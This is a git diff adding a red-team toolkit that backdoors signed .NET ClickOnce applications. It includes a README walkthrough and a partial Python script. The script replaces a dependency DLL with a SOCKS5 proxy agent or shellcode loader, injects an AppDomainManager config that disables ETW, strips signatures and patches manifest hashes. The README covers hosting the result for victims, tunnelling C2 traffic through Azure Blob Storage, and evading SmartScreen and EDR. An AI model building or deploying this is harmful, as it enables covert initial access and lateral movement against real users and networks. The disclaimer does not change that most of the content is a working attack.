Added Initial Files
@@ -0,0 +1,341 @@
|
||||
# ClickOnce AppDomainManager Injection Toolkit
|
||||
|
||||
Weaponize signed .NET ClickOnce applications for initial access by hijacking a dependency DLL via AppDomainManager injection and loading a C# port of ProxyBlob Agent. Ships with a C# port of [ProxyBlob](https://github.com/quarkslab/proxyblob) — a SOCKS5 proxy that tunnels all traffic through Azure Blob Storage, blending into environments where `*.blob.core.windows.net` is whitelisted.
|
||||
|
||||

|
||||
|
||||
## Why This Works
|
||||
|
||||
ClickOnce is Microsoft's one-click deployment technology for .NET apps. When a user clicks a `.application` URL, Windows downloads and runs the app with no admin privileges required. The attack:
|
||||
|
||||
1. Take a **legitimate, signed** ClickOnce application with an existing reputation
|
||||
2. **Replace** one of its dependency DLLs with the ProxyBlob SOCKS5 agent
|
||||
3. **Inject** a `.exe.config` that tells the CLR to load our DLL as the AppDomainManager
|
||||
4. **Patch** the manifest hashes to match our new files
|
||||
5. **Host** it — the victim clicks the link, gets a real-looking app, and you get a SOCKS5 tunnel
|
||||
|
||||
The host `.exe` remains untouched and validly signed. SmartScreen sees a known binary. EDR sees a trusted process loading modules. Your agent communicates only with Azure Blob Storage over HTTPS.
|
||||
|
||||

|
||||
|
||||
## Repository Structure
|
||||
|
||||
```
|
||||
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
|
||||
├── examples/
|
||||
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
|
||||
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
|
||||
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
|
||||
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
|
||||
└── README.md
|
||||
```
|
||||
|
||||
## Prerequisites
|
||||
|
||||
**Attacker (Linux/macOS):**
|
||||
- Python 3.10+
|
||||
- [ProxyBlob proxy](https://github.com/quarkslab/proxyblob) (Go binary)
|
||||
- Azure Storage Account (or [Azurite](https://github.com/Azure/Azurite) for local testing)
|
||||
|
||||
**Build machine (Windows):**
|
||||
- .NET Framework csc.exe — ships at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe` (auto-detected)
|
||||
- NuGet CLI — [download](https://www.nuget.org/downloads), place `nuget.exe` next to the script or add to PATH (only needed for `--proxyblob` mode)
|
||||
|
||||
The script auto-detects `csc.exe` and `nuget.exe`. For `--proxyblob`, BouncyCastle and ILMerge are auto-installed via NuGet on first run into a `packages/` directory next to the script (persists across runs).
|
||||
|
||||
## Architecture Support
|
||||
|
||||
The agent code is architecture-neutral (no P/Invoke, no shellcode). The `--platform` flag (passed to `csc.exe /platform:`) controls how the CLR loads it:
|
||||
|
||||
| `--platform` | Runs on x86 Windows | Runs on x64 Windows | When to use |
|
||||
|--------------|---------------------|---------------------|-------------|
|
||||
| `x86` (default) | 32-bit | 32-bit (WoW64) | Target app is x86 |
|
||||
| `x64` | ✗ | 64-bit | Target app is x64 |
|
||||
| `anycpu` | 32-bit | 64-bit | Standalone testing, or target is AnyCPU |
|
||||
|
||||
Check a target app with `corflags.exe TargetApp.exe` to determine its platform.
|
||||
|
||||
---
|
||||
|
||||
## Usage: End-to-End Walkthrough
|
||||
|
||||
### Step 1 — Set Up Azure Storage
|
||||
|
||||
```bash
|
||||
# Create storage account
|
||||
az storage account create \
|
||||
--name yourblobaccount \
|
||||
--resource-group yourgroup \
|
||||
--sku Premium_LRS \
|
||||
--kind BlockBlobStorage
|
||||
|
||||
# Get keys
|
||||
az storage account keys list --account-name yourblobaccount --output table
|
||||
```
|
||||
|
||||
Or use Azurite locally:
|
||||
```bash
|
||||
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
|
||||
```
|
||||
|
||||
### Step 2 — Start ProxyBlob Proxy
|
||||
|
||||
```bash
|
||||
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
|
||||
|
||||
cat > config.json << 'EOF'
|
||||
{
|
||||
"storage_account_name": "yourblobaccount",
|
||||
"storage_account_key": "YOUR_KEY_HERE"
|
||||
}
|
||||
EOF
|
||||
|
||||
./proxy -c config.json
|
||||
```
|
||||
|
||||
In the proxy shell:
|
||||
```
|
||||
proxyblob » create
|
||||
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
|
||||
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==
|
||||
```
|
||||
|
||||

|
||||
|
||||
Save that connection string — it goes into the agent.
|
||||
|
||||
### Step 3 — Test with Standalone Agent First
|
||||
|
||||
Always verify the agent works independently before ClickOnce integration.
|
||||
|
||||
On the Windows build machine:
|
||||
|
||||
```powershell
|
||||
# Compile
|
||||
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
|
||||
examples\ProxyBlobStandalone.cs ^
|
||||
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
|
||||
/r:System.Net.Http.dll /r:netstandard.dll
|
||||
|
||||
# ILMerge into single exe (so BouncyCastle is embedded)
|
||||
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
|
||||
/out:Agent.exe ^
|
||||
ProxyBlobStandalone.exe ^
|
||||
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
|
||||
/targetplatform:v4
|
||||
|
||||
# Run
|
||||
Agent.exe <connection-string>
|
||||
```
|
||||
|
||||
Back on the proxy:
|
||||
```
|
||||
proxyblob » list
|
||||
d646856a │ username@DESKTOP │ active
|
||||
proxyblob » select d646856a
|
||||
proxyblob » start
|
||||
[+] SOCKS5 proxy listening on 127.0.0.1:1080
|
||||
```
|
||||
|
||||
Test:
|
||||
```bash
|
||||
proxychains curl http://ipconfig.io
|
||||
```
|
||||
|
||||
If this works, proceed to ClickOnce integration.
|
||||
|
||||
### Step 4 — Find a Target ClickOnce App
|
||||
|
||||
Find a target ClickOnce app during recon (search for `.application` URLs). You need:
|
||||
|
||||
Download the entire ClickOnce deployment:
|
||||
```bash
|
||||
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
|
||||
python3 application_downloader.py -u https://target-site.com/APPLICATION.application
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 5 — Build and Patch in One Command
|
||||
|
||||
The script auto-compiles the C# source, handles NuGet dependencies (for `--proxyblob`), ILMerges BouncyCastle into the DLL, and patches all manifests — all in a single run:
|
||||
|
||||

|
||||
|
||||
```bash
|
||||
# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
|
||||
python clickonce_backdoor.py \
|
||||
--input ./APPLICATION.application \
|
||||
--url http://YOUR-SERVER \
|
||||
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
|
||||
--output ./output
|
||||
|
||||
# PoC mode — quick validation that injection works
|
||||
python clickonce_backdoor.py \
|
||||
--input ./APPLICATION.application \
|
||||
--url http://YOUR-SERVER \
|
||||
--poc --output ./output
|
||||
|
||||
# Shellcode mode
|
||||
python clickonce_backdoor.py \
|
||||
--input ./APPLICATION.application \
|
||||
--url http://YOUR-SERVER \
|
||||
--shellcode beacon.bin --output ./output
|
||||
|
||||
# x64 target app
|
||||
python clickonce_backdoor.py \
|
||||
--input ./APPLICATION.application \
|
||||
--url http://YOUR-SERVER/ \
|
||||
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
|
||||
--platform x64 --output ./output
|
||||
```
|
||||
|
||||

|
||||
|
||||
The script handles: generating the C# source with your settings baked in, compiling via `csc.exe`, ILMerging BouncyCastle (for `--proxyblob`), replacing the DLL, creating `.exe.config` with AppDomainManager injection, adding both files to manifests, recalculating all SHA256 hashes and file sizes, stripping code signatures, zeroing the vendor publicKeyToken, and updating the deployment provider URL.
|
||||
|
||||
**Manual override:** You can still use `--payload` to supply a pre-compiled DLL (skips compilation):
|
||||
```bash
|
||||
python clickonce_backdoor.py \
|
||||
--input ./APPLICATION.application \
|
||||
--url http://YOUR-SERVER \
|
||||
--payload payload.dll \
|
||||
--output ./output
|
||||
```
|
||||
|
||||
> **⚠️ ILMerge Assembly Name Gotcha:** ILMerge sets the internal assembly name from the **output filename**, not the input. If you merge to `Foo_merged.dll` and then rename the file to `Foo.dll`, the internal name is still `Foo_merged` — the CLR reads metadata, not the filename. The `.exe.config` won't match, and AppDomainManager injection silently fails with no error. The script handles this correctly by ILMerging directly to the final name.
|
||||
|
||||
### Step 6 — Host and Deliver
|
||||
|
||||
```bash
|
||||
# Built-in server with correct MIME types and cache headers
|
||||
python3 clickonce_backdoor.py serve --port 8000 --dir ./output
|
||||
```
|
||||
|
||||

|
||||
|
||||
Or use any web server with these MIME types configured:
|
||||
```
|
||||
.application → application/x-ms-application
|
||||
.manifest → application/x-ms-manifest
|
||||
.deploy → application/octet-stream
|
||||
```
|
||||
|
||||
Send the victim: `http://YOUR-SERVER/APPLICATION.application`
|
||||
|
||||
They click Install → the app runs → your SOCKS5 tunnel opens.
|
||||
|
||||

|
||||
|
||||
### Step 7 — Use the Tunnel
|
||||
|
||||
```bash
|
||||
# On the proxy machine
|
||||
proxyblob » list
|
||||
proxyblob » select <container-id>
|
||||
proxyblob » start
|
||||
|
||||
# SOCKS5 on 127.0.0.1:1080
|
||||
proxychains nmap -sT -Pn 10.0.0.0/24
|
||||
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
|
||||
proxychains curl http://internal-app.corp.local
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Compilation
|
||||
|
||||
| Error | Fix |
|
||||
|-------|-----|
|
||||
| `csc.exe not found` | Install .NET Framework 4.x or add `csc.exe` to PATH |
|
||||
| `nuget.exe not found` | Download from nuget.org, place next to script or add to PATH |
|
||||
| `CS0012: type 'Object' ... netstandard` | Add `/r:netstandard.dll` to the csc command |
|
||||
| `Metadata file ... net461 ... not found` | Use the `netstandard2.0` BouncyCastle path |
|
||||
|
||||
### Runtime
|
||||
|
||||
| Symptom | Cause | Fix |
|
||||
|---------|-------|-----|
|
||||
| `FileNotFoundException: BouncyCastle.Cryptography` | DLL not embedded | Use ILMerge to create single DLL |
|
||||
| AppDomainManager not loading after ClickOnce run | Internal assembly name mismatch | Assembly name must match `.exe.config`. Check with `ildasm /text Dll.dll \| findstr ".assembly"` |
|
||||
| Agent exits with code 3 | Connection string invalid or expired | Regenerate with `create` in proxy |
|
||||
| ClickOnce install fails silently | Manifest hash mismatch | Re-run automation script or recalculate SHA256 hashes manually |
|
||||
| `RefDefValidation` error during install | Third-party DLL strong-name token zeroed | The script only zeros the vendor token. Use `--dll-name` to set the payload DLL name if needed |
|
||||
|
||||
### ClickOnce Cache
|
||||
|
||||
Clear between test deployments:
|
||||
```powershell
|
||||
rundll32 dfshim CleanOnlineAppCache
|
||||
```
|
||||
|
||||
### Diagnostic Mode
|
||||
|
||||
For debugging, use `ProxyBlobStandalone.cs` first — it writes detailed logs to stderr showing packet types, connection events, and errors. Once confirmed working, switch to `ProxyBlobAgent.cs` for ClickOnce integration.
|
||||
|
||||
---
|
||||
|
||||
## How the C# Agent Works
|
||||
|
||||
The agent is a faithful port of the [Go ProxyBlob agent](https://github.com/quarkslab/proxyblob/blob/main/cmd/agent/main.go). Three critical bugs were found and fixed during the port:
|
||||
|
||||
**1. UUID Byte Order** — Go's `uuid.UUID` stores 16 bytes in RFC 4122 (big-endian) order. .NET's `Guid` constructor swaps the first 3 components to little-endian, causing ConnectionID mismatches on the wire. Fixed by using raw `byte[16]` arrays.
|
||||
|
||||
**2. XChaCha20-Poly1305** — Go uses `chacha20poly1305.NewX()` = XChaCha20 with 24-byte nonces. BouncyCastle's `ChaCha20Poly1305` only supports 12-byte IETF nonces. Fixed by implementing HChaCha20 subkey derivation:
|
||||
```
|
||||
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
|
||||
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
|
||||
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
|
||||
```
|
||||
|
||||
**3. Base64 Padding** — Go uses `base64.RawStdEncoding` (no `=` padding). .NET requires padding. Fixed by auto-padding before decode.
|
||||
|
||||
### Protocol
|
||||
|
||||
```
|
||||
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
|
||||
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
|
||||
|
||||
Key Exchange:
|
||||
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
|
||||
Agent → Proxy: CmdAck [agentPubkey:32]
|
||||
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
|
||||
Encryption: XChaCha20-Poly1305 on all CmdData payloads
|
||||
|
||||
Blob Transport:
|
||||
info — username@hostname XOR 0xDEADB10B
|
||||
request — proxy→agent (agent polls, reads, clears)
|
||||
response — agent→proxy (agent writes, proxy reads, clears)
|
||||
Polling: exponential backoff 50ms → 3s (×1.5)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## OPSEC Notes
|
||||
|
||||
- Traffic goes only to `*.blob.core.windows.net` over HTTPS — blends with legitimate Azure traffic
|
||||
- No Azure SDK — raw HTTP REST API with SAS token auth (smaller binary, fewer imports to flag)
|
||||
- Single DLL via ILMerge — no additional files dropped alongside the app
|
||||
- Host `.exe` stays validly signed — only the dependency DLL and `.config` are modified
|
||||
- Agent runs as a foreground thread — survives host app exit without spawning a new process
|
||||
- Process appears in Task Manager as the legitimate app name (e.g., `APPLICATION`)
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
- [Claude.ai](https://claude.ai)
|
||||
- [ProxyBlob](https://github.com/quarkslab/proxyblob) — Quarkslab (Alexandre Nesic)
|
||||
- [ClickOnce Research](https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1571c6b96a95) — SpecterOps (Nick Powers & Steven Flores)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is for authorized security testing and research only. Only use against systems you have explicit written permission to test.
|
||||
|
After Width: | Height: | Size: 418 KiB |
|
After Width: | Height: | Size: 112 KiB |
|
After Width: | Height: | Size: 1.0 MiB |
|
After Width: | Height: | Size: 887 KiB |
|
After Width: | Height: | Size: 416 KiB |
|
After Width: | Height: | Size: 38 KiB |
|
After Width: | Height: | Size: 11 KiB |
|
After Width: | Height: | Size: 192 KiB |
|
After Width: | Height: | Size: 73 KiB |
|
After Width: | Height: | Size: 42 KiB |
@@ -0,0 +1,684 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
ClickOnce AppDomainManager Injection Toolkit
|
||||
=============================================
|
||||
|
||||
Usage:
|
||||
python clickonce_backdoor.py --input ./App.application --url http://ATTACKER --payload payload.dll
|
||||
python clickonce_backdoor.py --input ./App.application --url http://ATTACKER --poc
|
||||
python clickonce_backdoor.py --input ./App.application --url http://ATTACKER --proxyblob <base64-conn-string>
|
||||
python clickonce_backdoor.py serve --port 80 --dir ./output
|
||||
"""
|
||||
import argparse, base64, hashlib, os, re, shutil, subprocess, sys
|
||||
from pathlib import Path
|
||||
|
||||
from semver import Version
|
||||
|
||||
BANNER = r"""
|
||||
_________ .__ .__ __ ________ __________.__ ___. ___.
|
||||
\_ ___ \| | |__| ____ | | _\_____ \ ____ ____ ____\______ \ | ____\_ |__\_ |__ ___________
|
||||
/ \ \/| | | |/ ___\| |/ // | \ / \_/ ___\/ __ \| | _/ | / _ \| __ \| __ \_/ __ \_ __ \
|
||||
\ \___| |_| \ \___| </ | \ | \ \__\ ___/| | \ |_( <_> ) \_\ \ \_\ \ ___/| | \/
|
||||
\______ /____/__|\___ >__|_ \_______ /___| /\___ >___ >______ /____/\____/|___ /___ /\___ >__|
|
||||
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
|
||||
|
||||
ClickOnce + AppDomainManager Injection + ProxyBlob Toolkit
|
||||
github.com/dazzyddos/ClickOnceBlobber
|
||||
"""
|
||||
|
||||
def sha256_base64(fp):
|
||||
h = hashlib.sha256()
|
||||
with open(fp,'rb') as f:
|
||||
for c in iter(lambda:f.read(8192),b''): h.update(c)
|
||||
return base64.b64encode(h.digest()).decode()
|
||||
|
||||
def file_size(fp): return os.path.getsize(fp)
|
||||
|
||||
def find_csc():
|
||||
"""Locate csc.exe, preferring modern Roslyn compiler over .NET Framework 4.x.
|
||||
|
||||
The .NET Framework 4.x csc.exe (v4.0.30319) only supports C# 5.
|
||||
Our templates use C# 6+ features (expression-bodied members, etc.),
|
||||
so we prefer the Roslyn-based compiler from Visual Studio or NuGet.
|
||||
"""
|
||||
# 1. Visual Studio / Build Tools Roslyn installations
|
||||
for prog in [os.environ.get('ProgramFiles', r'C:\Program Files'),
|
||||
os.environ.get('ProgramFiles(x86)', r'C:\Program Files (x86)')]:
|
||||
vs_root = Path(prog) / 'Microsoft Visual Studio'
|
||||
if vs_root.is_dir():
|
||||
matches = sorted(vs_root.glob('*/*/MSBuild/Current/Bin/Roslyn/csc.exe'), reverse=True)
|
||||
if matches: return matches[0]
|
||||
|
||||
# 2. NuGet-installed Roslyn compiler (next to script)
|
||||
packages_dir = Path(__file__).parent / 'packages'
|
||||
for pattern in ['Microsoft.Net.Compilers.Toolset.*/tasks/net472/csc.exe',
|
||||
'Microsoft.Net.Compilers.*/tools/csc.exe']:
|
||||
matches = sorted(packages_dir.glob(pattern), reverse=True)
|
||||
if matches: return matches[0]
|
||||
|
||||
# 3. PATH (may be Roslyn or Framework — caller can check)
|
||||
found = shutil.which('csc')
|
||||
if found: return Path(found)
|
||||
|
||||
# 4. .NET Framework csc.exe — C# 5 only, last resort
|
||||
windir = os.environ.get('SystemRoot', r'C:\Windows')
|
||||
for sub in [r'Microsoft.NET\Framework64\v4.0.30319', r'Microsoft.NET\Framework\v4.0.30319']:
|
||||
p = Path(windir) / sub / 'csc.exe'
|
||||
if p.exists(): return p
|
||||
return None
|
||||
|
||||
def find_nuget():
|
||||
"""Locate nuget.exe next to this script or on PATH."""
|
||||
local = Path(__file__).parent / 'nuget.exe'
|
||||
if local.exists(): return local
|
||||
found = shutil.which('nuget')
|
||||
return Path(found) if found else None
|
||||
|
||||
def _run_cmd(cmd, description, cwd=None):
|
||||
"""Run a command, raising RuntimeError with output on failure."""
|
||||
r = subprocess.run(cmd, capture_output=True, cwd=cwd)
|
||||
if r.returncode != 0:
|
||||
out = r.stdout.decode('utf-8', errors='replace')
|
||||
err = r.stderr.decode('utf-8', errors='replace')
|
||||
raise RuntimeError(f'{description} failed (exit {r.returncode}):\n{out}\n{err}')
|
||||
return r
|
||||
|
||||
def read_xml(fp):
|
||||
with open(fp,'r',encoding='utf-8-sig') as f: return f.read()
|
||||
|
||||
def write_xml(fp, txt):
|
||||
with open(fp,'w',encoding='utf-8',newline='\r\n') as f: f.write(txt)
|
||||
|
||||
# --- Raw XML text manipulation (preserves all original formatting/namespaces) ---
|
||||
|
||||
def xml_zero_pkt(t, vendor_token=None):
|
||||
"""Zero publicKeyToken ONLY for the vendor's signing identity.
|
||||
|
||||
ClickOnce manifests contain publicKeyToken in two contexts:
|
||||
1. The app/deployment identity (vendor's code-signing token) — MUST be zeroed
|
||||
after signature removal, or ClickOnce refuses to load.
|
||||
2. Third-party dependency references (e.g. Newtonsoft.Json with its own strong-name
|
||||
token) — MUST NOT be touched, or ClickOnce throws RefDefValidation because the
|
||||
manifest token no longer matches the actual DLL's embedded identity.
|
||||
|
||||
If vendor_token is provided, only that specific token value gets zeroed.
|
||||
If vendor_token is None (legacy/fallback), zeros all tokens (old behavior).
|
||||
"""
|
||||
if vendor_token and vendor_token != '0000000000000000':
|
||||
return t.replace(f'publicKeyToken="{vendor_token}"', 'publicKeyToken="0000000000000000"')
|
||||
elif vendor_token is None:
|
||||
# Fallback: only zero the FIRST assemblyIdentity (top-level identity element)
|
||||
# This is safer than blanket replace but still a heuristic
|
||||
return re.sub(r'publicKeyToken="[^"]*"', 'publicKeyToken="0000000000000000"', t)
|
||||
return t
|
||||
|
||||
def xml_get_vendor_token(t):
|
||||
"""Extract the vendor's publicKeyToken from the top-level assemblyIdentity.
|
||||
|
||||
In deployment manifests: <asmv1:assemblyIdentity ... publicKeyToken="XXXX" />
|
||||
In app manifests: <asmv1:assemblyIdentity ... publicKeyToken="XXXX" />
|
||||
|
||||
This is always the FIRST assemblyIdentity in the document.
|
||||
"""
|
||||
m = re.search(r'<(?:asmv1:)?assemblyIdentity\s[^>]*publicKeyToken="([^"]*)"', t)
|
||||
return m.group(1) if m else None
|
||||
|
||||
def xml_rm_sigs(t):
|
||||
"""Remove all signature-related blocks from ClickOnce manifests.
|
||||
|
||||
ClickOnce Authenticode signatures have a complex nested structure:
|
||||
<publisherIdentity ... />
|
||||
<Signature Id="StrongNameSignature" xmlns="...">
|
||||
<SignedInfo>...</SignedInfo>
|
||||
<SignatureValue>...</SignatureValue>
|
||||
<KeyInfo>
|
||||
<msrel:RelData>
|
||||
<r:license>
|
||||
<r:issuer>
|
||||
<Signature>...inner...</Signature> <-- inner sig
|
||||
</r:issuer>
|
||||
</r:license>
|
||||
</msrel:RelData>
|
||||
</KeyInfo>
|
||||
</Signature> <-- outer closing
|
||||
|
||||
A naive <Signature.*?</Signature> regex matches inner-to-inner, leaving
|
||||
orphan </r:issuer></r:license></msrel:RelData></KeyInfo></Signature> tags.
|
||||
We must remove ALL of this.
|
||||
"""
|
||||
# Remove <publisherIdentity ... /> (self-closing)
|
||||
t = re.sub(r'\s*<publisherIdentity[^/]*/>', '', t)
|
||||
# Remove <publisherIdentity ...>...</publisherIdentity>
|
||||
t = re.sub(r'\s*<publisherIdentity[^>]*>.*?</publisherIdentity>', '', t, flags=re.DOTALL)
|
||||
|
||||
# Remove the ENTIRE Signature block including nested Authenticode structure
|
||||
# Strategy: match from <Signature all the way to the LAST </Signature> before </asmv1:assembly>
|
||||
# Use greedy .* to consume everything between first <Signature and last </Signature>
|
||||
t = re.sub(r'\s*<Signature\b.*</Signature>', '', t, flags=re.DOTALL)
|
||||
|
||||
# Safety net: remove any orphan closing tags from the Authenticode wrapper
|
||||
# that might remain if the structure was unusual
|
||||
t = re.sub(r'\s*</r:issuer>\s*</r:license>\s*</msrel:RelData>\s*</KeyInfo>\s*</Signature>', '', t)
|
||||
|
||||
# Clean up blank lines
|
||||
t = re.sub(r'\n\s*\n\s*\n', '\n', t)
|
||||
|
||||
return t
|
||||
|
||||
def xml_update_file(t, name, sz, rm_hash=True):
|
||||
esc = re.escape(name)
|
||||
t = re.sub(rf'(<file\s+name="{esc}"\s+size=")\d+(")', rf'\g<1>{sz}\2', t)
|
||||
if rm_hash:
|
||||
t = re.sub(rf'(<file\s+name="{esc}"\s+size="\d+")\s*>\s*<hash>.*?</hash>\s*</file>',
|
||||
r'\1 />', t, flags=re.DOTALL)
|
||||
t = re.sub(rf'(<file\s+name="{esc}"\s+size="\d+")\s*>\s*</file>',
|
||||
r'\1 />', t, flags=re.DOTALL)
|
||||
return t
|
||||
|
||||
def xml_add_file(t, name, sz):
|
||||
entry = f' <file name="{name}" size="{sz}" />\n'
|
||||
return t.replace('</asmv1:assembly>', f'{entry}</asmv1:assembly>')
|
||||
|
||||
def xml_file_exists(t, name):
|
||||
return bool(re.search(rf'<file\s+name="{re.escape(name)}"', t))
|
||||
|
||||
def xml_update_provider(t, url):
|
||||
return re.sub(r'(<deploymentProvider\s+codebase=")[^"]*(")',
|
||||
lambda m: m.group(1) + url + m.group(2), t)
|
||||
|
||||
def xml_update_dep_size(t, sz):
|
||||
return re.sub(
|
||||
r'(<dependentAssembly\s+dependencyType="install"\s+codebase="[^"]*\.manifest"\s+size=")\d+(")',
|
||||
rf'\g<1>{sz}\2', t)
|
||||
|
||||
def xml_update_dep_hash(t, h):
|
||||
def _rep(m):
|
||||
b = m.group(0)
|
||||
return re.sub(r'(<dsig:DigestValue>)[^<]*(</dsig:DigestValue>)', rf'\g<1>{h}\2', b)
|
||||
return re.sub(
|
||||
r'<dependentAssembly\s+dependencyType="install"\s+codebase="[^"]*\.manifest"[^>]*>.*?</dependentAssembly>',
|
||||
_rep, t, flags=re.DOTALL)
|
||||
|
||||
def xml_get_exe(t):
|
||||
m = re.search(r'<commandLine\s+file="([^"]*)"', t)
|
||||
return m.group(1) if m else None
|
||||
|
||||
def xml_get_manifest_codebase(t):
|
||||
m = re.search(r'<dependentAssembly\s+dependencyType="install"\s+codebase="([^"]*\.manifest)"', t)
|
||||
return m.group(1) if m else None
|
||||
|
||||
def xml_has_mapext(t):
|
||||
return bool(re.search(r'mapFileExtensions="true"', t, re.I))
|
||||
|
||||
# --- Payload Templates (loaded from examples/ directory) ---
|
||||
|
||||
def _find_examples_dir():
|
||||
"""Locate the examples/ directory relative to the script."""
|
||||
candidates = [
|
||||
Path(__file__).parent / 'examples',
|
||||
Path('./examples'),
|
||||
]
|
||||
for p in candidates:
|
||||
if p.is_dir(): return p
|
||||
return None
|
||||
|
||||
def _load_template(name):
|
||||
"""Load a .cs template from the examples/ directory."""
|
||||
d = _find_examples_dir()
|
||||
if not d: return None
|
||||
p = d / name
|
||||
return p.read_text(encoding='utf-8') if p.exists() else None
|
||||
|
||||
def load_poc_template(): return _load_template('MessageBoxPoC.cs')
|
||||
def load_sc_template(): return _load_template('ShellcodeLoader.cs')
|
||||
def load_proxyblob_template(): return _load_template('ProxyBlobAgent.cs')
|
||||
|
||||
CFG_TPL = '''<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
{existing} <runtime>
|
||||
<appDomainManagerAssembly
|
||||
value="{asm}, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
|
||||
<appDomainManagerType
|
||||
value="{cls}" />
|
||||
<etwEnable enabled="false" />
|
||||
</runtime>
|
||||
</configuration>
|
||||
'''
|
||||
|
||||
def parse_existing_cfg(path):
|
||||
if not os.path.exists(path): return ''
|
||||
with open(path,'r',encoding='utf-8-sig') as f: c = f.read()
|
||||
c = re.sub(r'<\?xml[^?]*\?>\s*','',c)
|
||||
c = re.sub(r'^\s*<configuration[^>]*>\s*','',c,flags=re.DOTALL)
|
||||
c = re.sub(r'\s*</configuration>\s*$','',c,flags=re.DOTALL)
|
||||
c = re.sub(r'\s*<runtime>.*?</runtime>\s*','\n',c,flags=re.DOTALL)
|
||||
lines = [f' {l.strip()}' for l in c.strip().split('\n') if l.strip()]
|
||||
return '\n'.join(lines)+'\n' if lines else ''
|
||||
|
||||
# --- Main ---
|
||||
|
||||
class ClickOnceBackdoor:
|
||||
def __init__(self, input_path, url, output='./output', payload=None,
|
||||
shellcode=None, poc=False, dll_name=None, class_name=None,
|
||||
verbose=False, proxyblob=None, platform='x86', silent=False):
|
||||
self.input_path = Path(input_path).resolve()
|
||||
self.url = url.rstrip('/')
|
||||
self.output_dir = Path(output).resolve()
|
||||
self.payload_dll = Path(payload).resolve() if payload else None
|
||||
self.shellcode_path = Path(shellcode).resolve() if shellcode else None
|
||||
self.poc = poc
|
||||
self.proxyblob = proxyblob
|
||||
self._dn = dll_name; self._cn = class_name
|
||||
self.verbose = verbose
|
||||
self.platform = platform
|
||||
self.silent = silent
|
||||
self.deploy_path = self.app_path = self.app_dir = None
|
||||
self.exe_name = self.dll_name = self.class_name = None
|
||||
self.vendor_token = None
|
||||
self.work_dir = None
|
||||
|
||||
def log(self, m, l='INFO'):
|
||||
if self.silent and l != 'ERROR': return
|
||||
c = {'INFO':'\033[94m[*]\033[0m','OK':'\033[92m[+]\033[0m',
|
||||
'WARN':'\033[93m[!]\033[0m','ERROR':'\033[91m[-]\033[0m',
|
||||
'DEBUG':'\033[90m[D]\033[0m'}
|
||||
print(f'{c.get(l,"[*]")} {m}')
|
||||
|
||||
def dbg(self, m):
|
||||
if self.verbose: self.log(m,'DEBUG')
|
||||
|
||||
def _ensure_nuget_packages(self, packages_dir):
|
||||
"""Install BouncyCastle and ILMerge via NuGet if not already present."""
|
||||
needed = []
|
||||
if not (packages_dir / 'BouncyCastle.Cryptography.2.5.1').is_dir():
|
||||
needed.append(('BouncyCastle.Cryptography', '2.5.1'))
|
||||
if not (packages_dir / 'ILMerge.3.0.41').is_dir():
|
||||
needed.append(('ILMerge', '3.0.41'))
|
||||
if not needed:
|
||||
self.dbg('NuGet packages already present')
|
||||
return
|
||||
nuget = find_nuget()
|
||||
if not nuget:
|
||||
raise FileNotFoundError(
|
||||
'nuget.exe not found. Download from nuget.org and place next to script or add to PATH.')
|
||||
packages_dir.mkdir(parents=True, exist_ok=True)
|
||||
for pkg, ver in needed:
|
||||
self.log(f' Installing {pkg} {ver}...')
|
||||
_run_cmd([str(nuget), 'install', pkg, '-Version', ver,
|
||||
'-OutputDirectory', str(packages_dir)],
|
||||
f'nuget install {pkg}')
|
||||
self.log(f' Installed {pkg} {ver}','OK')
|
||||
|
||||
def _ensure_roslyn_compiler(self, packages_dir):
|
||||
"""Install Roslyn compiler via NuGet if only the old Framework csc.exe is available.
|
||||
|
||||
The .NET Framework 4.x csc.exe (v4.0.30319) only supports C# 5.
|
||||
Our templates require C# 6+ (expression-bodied members, etc.).
|
||||
"""
|
||||
csc = find_csc()
|
||||
if csc and 'v4.0.30319' not in str(csc):
|
||||
self.dbg(f'Roslyn csc.exe found: {csc}')
|
||||
return # Already have a modern compiler
|
||||
# Check if NuGet Roslyn already installed
|
||||
for pattern in ['Microsoft.Net.Compilers.Toolset.*/tasks/net472/csc.exe',
|
||||
'Microsoft.Net.Compilers.*/tools/csc.exe']:
|
||||
